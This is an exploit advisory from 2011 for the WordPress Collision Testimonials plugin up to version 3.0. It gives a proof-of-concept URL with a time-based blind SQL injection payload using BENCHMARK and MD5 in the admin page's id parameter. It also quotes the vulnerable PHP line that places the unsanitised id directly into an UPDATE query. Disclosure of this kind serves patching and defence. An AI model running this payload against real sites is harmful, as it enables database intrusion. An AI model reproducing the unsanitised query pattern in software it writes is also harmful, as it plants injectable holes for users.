WordPress Plugin Collision Testimonials 3.0 - SQL Injection

# Exploit Title: WordPress Collision Testimonials plugin <= 3.0 SQL Injection Vulnerability
# Date: 2011-08-26
# Author: Miroslav Stampar (miroslav.stampar(at)gmail.com @stamparm)
# Software Link: http://downloads.wordpress.org/plugin/collision-testimonials.zip
# Version: 3.0 (tested)
# Note: user has to be logged in as "admin"

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PoC
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http://www.site.com/wp-admin/admin.php?page=testimonials&featQuote&id=-1 AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)

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Vulnerable code
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if (isset($_GET['featQuote'])) {
    $id = $_GET['id'];
    mysql_query("UPDATE $testimonials SET featured=1 WHERE id=$id");
};